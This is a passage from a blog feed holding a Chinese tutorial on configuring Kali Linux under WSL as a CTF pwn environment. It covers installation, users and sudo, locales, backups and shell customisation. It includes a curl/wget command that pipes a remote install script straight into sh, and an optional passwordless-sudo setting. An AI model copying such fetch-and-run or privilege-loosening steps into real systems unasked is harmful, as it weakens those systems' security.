&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-5C9BB944-3BB9-4760-9FBA-8EDEFFE116E1.webp&quot; alt=&quot;pwn_environment_linux-vmware-5C9BB944-3BB9-4760-9FBA-8EDEFFE116E1&quot; /&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-F764C7AD-0908-442D-BEE3-E7CE48EDD908.webp&quot; alt=&quot;pwn_environment_linux-vmware-F764C7AD-0908-442D-BEE3-E7CE48EDD908&quot; /&gt;根据这个步骤安装有关 &lt;code&gt;C/C++&lt;/code&gt; 和 &lt;code&gt;Python&lt;/code&gt; 的插件，&lt;strong&gt;只安装有蓝色对勾的官方插件&lt;/strong&gt;，第一次运行 Python 环境时会选择解释器
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-vmware/pwn_environment_linux-vmware-BD9021F7-C999-4478-8691-F0773AA45CED.webp&quot; alt=&quot;pwn_environment_linux-vmware-BD9021F7-C999-4478-8691-F0773AA45CED&quot; /&gt;在里面选你创建的环境就可以，没有就点击 &lt;code&gt;输入解释器路径&lt;/code&gt;，并 &lt;code&gt;查找&lt;/code&gt;，&lt;strong&gt;选择你创建的环境的 &lt;code&gt;python&lt;/code&gt; 文件&lt;/strong&gt;，你也可以使用第三个选择固化你的优先环境&lt;/p&gt;
</content:encoded></item><item><title>Kali-Linux Pwn 环境配置 - 使用 WSL</title><link>https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/</link><guid isPermaLink="true">https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/</guid><description>使用最新最热，效率最高的 Linux 子系统，来配置年轻人的第二台虚拟机，文章主要讲解 Linux 基础配置</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::note
&lt;strong&gt;Tips：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;本教程于 2026.1 更新&lt;/strong&gt;
由于教程是在 WSL 子系统教程之后编写的，&lt;strong&gt;只作为针对新手的补充&lt;/strong&gt;，后续可以参照子系统的教程，相对来说没有子系统的教程细致，但是更适合新手
&lt;ul&gt;
&lt;li&gt;使用 VMWare：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-vmware/&quot;&gt;VMWare Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;使用 WSL：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_linux-wsl/&quot;&gt;WSL Linux 基础配置&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;工具安装：&lt;a href=&quot;https://blog.lufiende.work/posts/ctf/pwn-tutorial/intro/pwn_environment_tools/&quot;&gt;基础 Pwn 环境安装&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;本教程默认你有了&lt;strong&gt;基本的计算机操作水平&lt;/strong&gt;并且&lt;strong&gt;已经解决了任何网络问题&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;由于网页和图床代理到 Cloudflare，如果你浏览有些卡顿甚至加载失败，请自行加速并刷新
:::![[environment_linux-pwn-vmware-0AD1F19C-7C07-4501-A03D-81011B6D35D6.png]]&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;1. 安装 WSL 2&lt;/h2&gt;
&lt;p&gt;:::tip
作为微软的亲儿子，无论你有没有安装或者更新过子系统，在你选择了 Windows 11 系统的时候，你就可以使用 &lt;code&gt;wsl&lt;/code&gt; 命令，他会告诉你如何开启使用
:::
在此之前，请确保你开启了&lt;strong&gt;Windows 功能&lt;/strong&gt;中的&lt;strong&gt;适用于 Linux 的 Windows 子系统&lt;/strong&gt;与&lt;strong&gt;虚拟机平台&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-D8EA2A9A-C6D0-420B-8CE4-23563A12C985.webp&quot; alt=&quot;pwn_environment_linux-wsl-D8EA2A9A-C6D0-420B-8CE4-23563A12C985&quot; /&gt;
微软提供了详细的安装 WSL 2 的方式：&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/wsl/install&quot;&gt;安装 WSL | Microsoft Learn&lt;/a&gt;
简单来讲就是在 cmd（Powershell）里一句命令的事情&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --update
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 下载并安装任意发行版&lt;/h2&gt;
&lt;p&gt;:::tip
提示：所有方法安装后均可以在 Windows Terminal 找到对应的快捷选项卡，如果没有，就重启 Windows Terminal
:::&lt;/p&gt;
&lt;h3&gt;2-1 使用微软商店&lt;/h3&gt;
&lt;p&gt;这里以安装 &lt;strong&gt;Kali-Linux&lt;/strong&gt; 为示例，使用微软商店是最简单的方式，直接打开 Microsoft Store 搜索 Kali Linux 下载安装并打开
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-88E3125C-2D1B-4D32-BCE7-B67B04A06E23.webp&quot; alt=&quot;pwn_environment_linux-wsl-88E3125C-2D1B-4D32-BCE7-B67B04A06E23&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2-2 使用命令行&lt;/h3&gt;
&lt;p&gt;也是很简单的方式，我们只需要输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --list --online
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl.exe --install &amp;lt;发行版名称&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装即可
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-A4E8678C-14BD-4725-ABF8-4EA744ACF45F.webp&quot; alt=&quot;PEWK1-image-20250930104507689&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2-3 解包官方发行版安装包并安装&lt;/h3&gt;
&lt;p&gt;使用微软商店安装镜像会&lt;strong&gt;默认安装到 C 盘&lt;/strong&gt;，这里可以手动解压微软官方的 Appx 安装包并运行安装包的初始化 exe 程序，确保镜像生成在和 exe 程序相同目录，&lt;strong&gt;免去二次迁移位置的苦恼&lt;/strong&gt;，这里还是以安装 Kali-Linux 为示例
下载 Kali Linux 的 Appx 可以在下面的网页中下载：&lt;a href=&quot;https://store.rg-adguard.net/&quot;&gt;Microsoft Store - Generation Project (v1.2.3) [by @rgadguard &amp;amp; mkuba50]&lt;/a&gt;
你只需要去微软商店点击分享按钮并复制链接到网页就可以下载了，&lt;strong&gt;本体在 Appxbundle 中&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-3418B2EF-A43A-4F66-ACC0-1FE99C31D225.webp&quot; alt=&quot;pwn_environment_linux-wsl-3418B2EF-A43A-4F66-ACC0-1FE99C31D225&quot; /&gt;下载好以后可以&lt;strong&gt;双击安装&lt;/strong&gt;，当然，用压缩软件打开发现以下文件
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-FBD300B3-E8B1-420D-8826-113E02A2692A.webp&quot; alt=&quot;pwn_environment_linux-wsl-FBD300B3-E8B1-420D-8826-113E02A2692A&quot; /&gt;
选择最下面的 x64 并再次用压缩软件打开（除非你真的用 ARM 架构的 Windows），并挑个好位置解压，文件夹里面应该有下面的文件，到此就算安装完毕了，只需要启动 &lt;code&gt;kali.exe&lt;/code&gt; 就可以进行初始化
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-1D0F1F63-896B-40A1-80D8-651204F2CB69.webp&quot; alt=&quot;pwn_environment_linux-wsl-1D0F1F63-896B-40A1-80D8-651204F2CB69&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2-4 导入任意类型 tar 安装包&lt;/h3&gt;
&lt;p&gt;如果你是官网下载的 &lt;code&gt;Ubuntu&lt;/code&gt; 或者是其他的官方发行版，亦或者是第三方发行版，**只要你找到对应的根文件系统的 &lt;strong&gt;.tar 包&lt;/strong&gt;，你就可以导入到 WSL 里
下载地址：&lt;a href=&quot;https://store.rg-adguard.net/&quot;&gt;Microsoft Store - Generation Project (v1.2.3) [by @rgadguard &amp;amp; mkuba50]&lt;/a&gt;
下载 Ubuntu 最新的 WSL 安装包
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-722DE945-2969-41C4-B908-8755E19C56F2.webp&quot; alt=&quot;pwn_environment_linux-wsl-722DE945-2969-41C4-B908-8755E19C56F2&quot; /&gt;
接着就可以使用一下命令导入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl.exe --import &amp;lt;发行版名称&amp;gt; &amp;lt;安装位置&amp;gt; &amp;lt;文件位置&amp;gt; [Options]

Options:
    --version &amp;lt;Version&amp;gt;
    --vhd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;举例，我要导入上文的包到一个目录，例如 &lt;code&gt;F:\Virtual-Machine\Ubuntu&lt;/code&gt; ，那么我就会输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
wsl --import Ubuntu &quot;F:\Virtual-Machine\Ubuntu&quot; &quot;C:\Users\Lufiende\Downloads\ubuntu-24.04.3-wsl-amd64.gz&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个方式安装可能会导致 Windows Terminal 图标有问腿，需要手动定位&lt;/p&gt;
&lt;h2&gt;3. 简单配置虚拟机&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;touch ~/.hushlogin
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3-1 WSL 基本设置&lt;/h3&gt;
&lt;p&gt;如果你开着一些代理软件，你可能会发现，他会告诉你诸如 Nat 模式无法使用代理等等的提醒，这是因为微软塞了一堆奇怪的小功能，你可以尝试去改动一些 WSL 的设置，如果你开着 Windows 的更新，你大抵是可以在开始菜单看到这个
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-DF4E72D1-8D49-4BA7-B6B2-D49AED7B8110.webp&quot; alt=&quot;pwn_environment_linux-wsl-DF4E72D1-8D49-4BA7-B6B2-D49AED7B8110&quot; /&gt;
你可以参考我的设置，我放到了下面，如果你没有看到这个，你可以去用户目录下（&lt;code&gt;C:\Users\xxx&lt;/code&gt;）新建一个 &lt;code&gt;.wslconfig&lt;/code&gt; 文件写入配置，具体配置写法可以参照：&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/wsl/wsl-config&quot;&gt;WSL 中的高级设置配置 | Microsoft Learn&lt;/a&gt;，事实上能改的不止这一个，还有 &lt;code&gt;wsl.conf&lt;/code&gt;，&lt;code&gt;.wslgconfig&lt;/code&gt; 等文件可以自定义
我的配置文件内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[wsl2]
processors=16
networkingMode=Mirrored

[experimental]
hostAddressLoopback=true
sparseVhd=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-C7BD3425-52F2-408D-870D-7C99EA19270F.webp&quot; alt=&quot;pwn_environment_linux-wsl-C7BD3425-52F2-408D-870D-7C99EA19270F&quot; /&gt;关键的选择也是有的，这个 &lt;strong&gt;Mirrored 的网络模式&lt;/strong&gt;也是有意思的，这个是继承自 Hyper-V 的功能，十分方便，&lt;strong&gt;能直接引用系统代理&lt;/strong&gt;，如果你将来要进一步进行各种物联网仿真工作的话，其实 Nat 也是一种很好的选择
同时你可以选择&lt;strong&gt;默认启用稀疏 VHD&lt;/strong&gt; 使得删除文件时&lt;strong&gt;虚拟磁盘文件可以同步缩小&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3-2 用户操作&lt;/h3&gt;
&lt;h4&gt;3-2-1 创建用户&lt;/h4&gt;
&lt;p&gt;如果你使用上文前三种的方式创建了虚拟机，第一次打开它大概率会直接要求你建立一个账户并设置一个密码，按提示设置即可，以防万一还是提醒一下&lt;strong&gt;你看不到你输入的密码&lt;/strong&gt;
如果你使用第四种方法，大概率登录直接是 root 账户，那么你可以新建一个，默认情况下都会建议你，&lt;strong&gt;用户名不能包含大写字母，也不能包含某些特殊字符&lt;/strong&gt;，当然我也建议遵守这条限制||，虽然我没有遵守||&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useradd -m &amp;lt;用户名&amp;gt; # 添加用户，-m 可以建立 /home 下的用户名目录
passwd &amp;lt;用户名&amp;gt; # 改密码
su &amp;lt;用户名&amp;gt; # 切换用户
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3-2-2 添加用户到 Sudo 组&lt;/h4&gt;
&lt;p&gt;先看看你的账户能不能用 sudo，&lt;strong&gt;如果输入密码之后提示 xxx is not in the sudoers file&lt;/strong&gt;，接着往下看
进入 root 用户，如果你不知道密码，你可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl -d &amp;lt;发行版&amp;gt; -u root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入 root，然后使用 passwd 新建一个密码，可以方便以后直接进入，然后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;usermod -aG sudo &amp;lt;用户名&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以了&lt;/p&gt;
&lt;h4&gt;3-2-3 将 Sudo 组免密（可选）&lt;/h4&gt;
&lt;p&gt;我们需要修改 &lt;code&gt;/etc/sudoers&lt;/code&gt; 实现效果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo visudo
# 或者
su root
visudo

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;root ALL=(ALL:ALL) ALL

%sudo ALL=(ALL:ALL) NOPASSWD:ALL
%sudo ALL=(ALL:ALL) ALL

@includedir /etc/sudoers.d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;图示如下
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-967C6257-083C-45F2-B4CD-900DB1F21BFD.webp&quot; alt=&quot;pwn_environment_linux-wsl-967C6257-083C-45F2-B4CD-900DB1F21BFD&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3-3 更新软件源&lt;/h3&gt;
&lt;p&gt;目前实测，&lt;strong&gt;大概率，你不需要进行任何换源操作就能更新&lt;/strong&gt;，会自动使用镜像源，||虽然镜像源不是很稳定||，直接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt full-upgrade  #（可选）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3-4 汉化虚拟机&lt;/h3&gt;
&lt;p&gt;我们可以趁机把汉化搞一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install locales
sudo apt install locales-all # 有就安，不用等待生成了，kali 自带了
sudo dpkg-reconfigure locales
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看介绍，这是要生成不同地区使用语言的区域设置，用滚轮或者上下键选择语言，这里以防万一可以全选，也可以拉下去只选 &lt;strong&gt;&lt;code&gt;zh_CN.UTF-8 UTF-8&lt;/code&gt; 和 &lt;code&gt;en_US.UTF-8 UTF-8&lt;/code&gt;&lt;/strong&gt;，然后回车
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-7EC199AE-4135-4B17-ABC2-45D35480755A.webp&quot; alt=&quot;pwn_environment_linux-wsl-7EC199AE-4135-4B17-ABC2-45D35480755A&quot; /&gt;回车后，接下来是选择默认语言，选择 &lt;code&gt;zh_CN.UTF-8&lt;/code&gt; 就可以，&lt;s&gt;除非你是罕见&lt;/s&gt;，&lt;strong&gt;选完之后关掉现在的终端&lt;/strong&gt;，重启或者 logout 也行，重新打开就能看见效果，&lt;s&gt;比如看看 apt 的超级牛力&lt;/s&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-BC61C389-C685-45F8-BB53-99D58B0560FF.webp&quot; alt=&quot;pwn_environment_linux-wsl-BC61C389-C685-45F8-BB53-99D58B0560FF&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3-5 备份虚拟机&lt;/h3&gt;
&lt;p&gt;十分简单，备份只需要&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --export &amp;lt;发行版名称&amp;gt; X:\path\to\xxx.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入类似于 2-4 提供的安装方法，可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wsl --import &amp;lt;发行版名称&amp;gt; X:\path\to\ext4.vhdx (即&amp;lt;存放目录&amp;gt;)  X:\path\to\xxx.tar (即&amp;lt;备份目录&amp;gt;) --version 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. 针对性的高级配置&lt;/h2&gt;
&lt;h3&gt;4-1 Kali-Linux 高级配置&lt;/h3&gt;
&lt;h4&gt;4-1-1 安装配套开箱即用 MetaPackages&lt;/h4&gt;
&lt;p&gt;如果你安装了一个 Kali 发行版，他可能会提示你一些内容，例如&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-00E7A7F9-425E-486F-B78C-8FFB01B823C7.webp&quot; alt=&quot;pwn_environment_linux-wsl-00E7A7F9-425E-486F-B78C-8FFB01B823C7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;意思是 WSL 安装 Kali 都是以最小化模式安装的，并没有附带 Kali 的哪些强大的工具包，接下来就是去安装那些包的过程，安装的包叫 &lt;strong&gt;&lt;code&gt;Metapackages&lt;/code&gt;&lt;/strong&gt;，就是一次能安很多包的包，为了以后的方便，我们需要安装一些初始工具包，让 Kali 更加完整，我们会在下面指导这部分的安装内容，安装完后会&lt;strong&gt;自动消失&lt;/strong&gt;
当然你也可以选择不安装，我这里选择不安装自带包，感觉我不是很用的上，忽略提示也可
官方链接：&lt;a href=&quot;https://www.kali.org/docs/general-use/metapackages/&quot;&gt;Kali Linux Metapackages | Kali Linux Documentation&lt;/a&gt;，可以按官方教程来
我们首先需要执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt full-upgrade -y
kali-tweaks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就会出现
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-983A8C20-2CB3-4EF7-929D-0252966A3C97.webp&quot; alt=&quot;pwn_environment_linux-wsl-983A8C20-2CB3-4EF7-929D-0252966A3C97&quot; /&gt;第二项就是我们要安装的 &lt;code&gt;Metapackages&lt;/code&gt; 了，这里我放出来了官方的描述&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;kali-linux-core&lt;/code&gt;:  Base Kali Linux System – core items that are always included
&lt;code&gt;kali-linux-headless&lt;/code&gt;:  Default install that doesn’t require GUI
&lt;code&gt;kali-linux-default&lt;/code&gt;:  “Default” desktop images include these tools
&lt;code&gt;kali-linux-arm&lt;/code&gt;:  All tools suitable for ARM devices
&lt;code&gt;kali-linux-nethunter&lt;/code&gt;:  Tools used as part of Kali NetHunter&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;一般选圈住的第一个的 kali-linux-default&lt;/strong&gt;，用不到图形化界面可以选择 kali-linux-headless，如果喜欢一步到位可以选择 kali-linux-large，&lt;strong&gt;如果有特殊需求可以结合官网安装其他的包&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-517E95F7-2E90-4D25-8BF9-D22A1D596C3F.webp&quot; alt=&quot;pwn_environment_linux-wsl-517E95F7-2E90-4D25-8BF9-D22A1D596C3F&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4-1-2  Kali-tweaks 自定义选项&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Shell &amp;amp; Prompt&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-F6D14C6A-32FD-4D1B-A491-D4E866FB9997.webp&quot; alt=&quot;pwn_environment_linux-wsl-F6D14C6A-32FD-4D1B-A491-D4E866FB9997&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Configure Prompt&lt;/code&gt; 用于调整终端的主题样式，可以自行摸索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Default Login Shell&lt;/code&gt; 用于调整默认终端，一般是 &lt;code&gt;bash&lt;/code&gt;  和 &lt;code&gt;zsh&lt;/code&gt; 中选择，&lt;strong&gt;这里建议大家可以在把默认终端改成 zsh&lt;/strong&gt;，因为好用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Reset Shell Config&lt;/code&gt; 用于重置终端设置，就是 &lt;code&gt;.bashrc&lt;/code&gt; 和 &lt;code&gt;.zshrc&lt;/code&gt; 之类的&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Network Repositories&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-81630668-2A45-42E4-95AB-163F4AA9953C.webp&quot; alt=&quot;pwn_environment_linux-wsl-81630668-2A45-42E4-95AB-163F4AA9953C&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Additional Kali repositories&lt;/code&gt; 别选，&lt;s&gt;各位师傅你也不想因为一些包不稳定的更新而崩溃吧&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mirrors&lt;/code&gt; 是下载源的设置，你看到这里会发现&lt;strong&gt;我根本没有提过换源&lt;/strong&gt;这个说法，其实是 &lt;strong&gt;kali 会自动用适合所在地的镜像&lt;/strong&gt;而已，如果没有特殊原因无需变动&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Protocol&lt;/code&gt; 是选协议，对于 apt 来说 &lt;strong&gt;https 其实安全不到哪去&lt;/strong&gt;，维持原样即可&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Hardening Settings&lt;/strong&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-FF9294E2-86B6-4E54-8670-0B851215EE24.webp&quot; alt=&quot;pwn_environment_linux-wsl-FF9294E2-86B6-4E54-8670-0B851215EE24&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Kernel settings&lt;/code&gt; 涉及到关于 &lt;code&gt;dmesg&lt;/code&gt; 命令的使用权限以及特权端口选项的开关，这个根据需要配置，&lt;s&gt;你当个赛棍还管这么多，又用不到&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Wide Compatibility mode&lt;/code&gt; 可以让你连接一些旧的，老的，不安全的客户端，按需开启&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4-2 使用易用的 Shell&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你使用的是 Kali-Linux，那么看上面的 &lt;code&gt;Kali-tweaks&lt;/code&gt; 切换终端，以及简单美化
如果你想美化终端，可以看下方的 &lt;code&gt;个性化终端&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一般来说，常用的 Shell 包括 &lt;code&gt;sh&lt;/code&gt; ，&lt;code&gt;bash&lt;/code&gt;， &lt;code&gt;zsh&lt;/code&gt; 三种 Shell，其中我们常用前两者来解释我们写的 &lt;code&gt;*.sh&lt;/code&gt; 脚本，后者作为我们日常使用的利器，大部分的发行版都包括了前两者 ，一些简洁的系统，例如 Alpine，则只有由 busybox 支持的 &lt;code&gt;sh&lt;/code&gt; 一个 Shell
另外的，还有支持分屏的 &lt;code&gt;tmux&lt;/code&gt; ，请大家自行探索，可以根据你的系统来安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install bash zsh


cat /etc/shells # 查看安装了多少 Shell
echo $SHELL # 查看当前使用的 Shell
echo $0 # 同上，查看当前使用的 Shell


chsh -s /bin/bash # 切换为Bash
chsh -s /bin/zsh # 切换为Zsh

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4-3 个性化 Shell（可选）&lt;/h3&gt;
&lt;h4&gt;4-3-1安装 oh-my-zsh&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;
sudo apt install wget git curl

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里使用 oh-my-zsh 来进行个性化，官网：&lt;a href=&quot;https://ohmyz.sh/&quot;&gt;Oh My Zsh - a delightful &amp;amp; open source framework for Zsh&lt;/a&gt;
点击 install oh-my-zsh 之后，页面会自动滚到下载连接页
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-5DBAD26E-F6F9-490A-A10B-87EAAA12E864.webp&quot; alt=&quot;pwn_environment_linux-wsl-5DBAD26E-F6F9-490A-A10B-87EAAA12E864&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 复制下载链接（注意时效性，二选一）
sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;
sh -c &quot;$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;链接粘贴到终端下载就行，安装时会自动帮你把原本的 &lt;code&gt;.zshrc&lt;/code&gt; 备份到同目录下的 &lt;code&gt;.zshrc.pre-oh-my-zsh&lt;/code&gt;，效果如下图
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-69D1A904-C290-4518-86BA-49A85313E339.webp&quot; alt=&quot;pwn_environment_linux-wsl-69D1A904-C290-4518-86BA-49A85313E339&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4-3-2 安装前置字体&lt;/h4&gt;
&lt;p&gt;在此之前，你需要了解，因为这些主题通常会用到专业的字体，常见的可能就是 Nerd 和 Powerline ，&lt;strong&gt;某些主题很可能会推荐其中之一的字体，甚至是会直接提供基于这些字体修补过的专用字体，安装主题时需要多留意源网页的安装指导&lt;/strong&gt;
:::note
下文的 &lt;strong&gt;Powerlevel10k&lt;/strong&gt; 使用了修补过的 nerd 字体&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Regular.ttf&quot;&gt;MesloLGS NF Regular.ttf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold.ttf&quot;&gt;MesloLGS NF Bold.ttf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Italic.ttf&quot;&gt;MesloLGS NF Italic.ttf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold%20Italic.ttf&quot;&gt;MesloLGS NF Bold Italic.ttf&lt;/a&gt;
:::
如果没有给出特定的下载连接或者是字体样式，你可以尝试普通的 &lt;code&gt;Nerd&lt;/code&gt; 或者是 &lt;code&gt;Powerline&lt;/code&gt;
Nerd 下载地址：&lt;a href=&quot;https://www.nerdfonts.com/&quot;&gt;Nerd Fonts - Iconic font aggregator, glyphs/icons collection, &amp;amp; fonts patcher&lt;/a&gt;
Powerline 仓库：&lt;a href=&quot;https://github.com/powerline/fonts&quot;&gt;powerline/fonts: Patched fonts for Powerline users.&lt;/a&gt;
由于通常使用子系统会使用 Windows Terminal ，所以我们需要在 Windows Terminal 进行一些配置
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-35885D3F-A7ED-4918-BCCE-2240A9AD4856.webp&quot; alt=&quot;pwn_environment_linux-wsl-35885D3F-A7ED-4918-BCCE-2240A9AD4856&quot; /&gt;
&lt;img src=&quot;https://share.lufiende.work/?file=/Blog/images/pwn_environment_linux-wsl/pwn_environment_linux-wsl-EE5475F4-8CA5-4FBA-BCE9-E3F0AECA3102.webp&quot; alt=&quot;pwn_environment_linux-wsl-EE5475F4-8CA5-4FBA-BCE9-E3F0AECA3102&quot; /&gt;
选择安装的字体就可以了，图片仅作示例&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4-3-3 搜索并安装主题&lt;/h4&gt;
&lt;p&gt;完成这些工作，你可以在官网的 Themes 找到各种主题
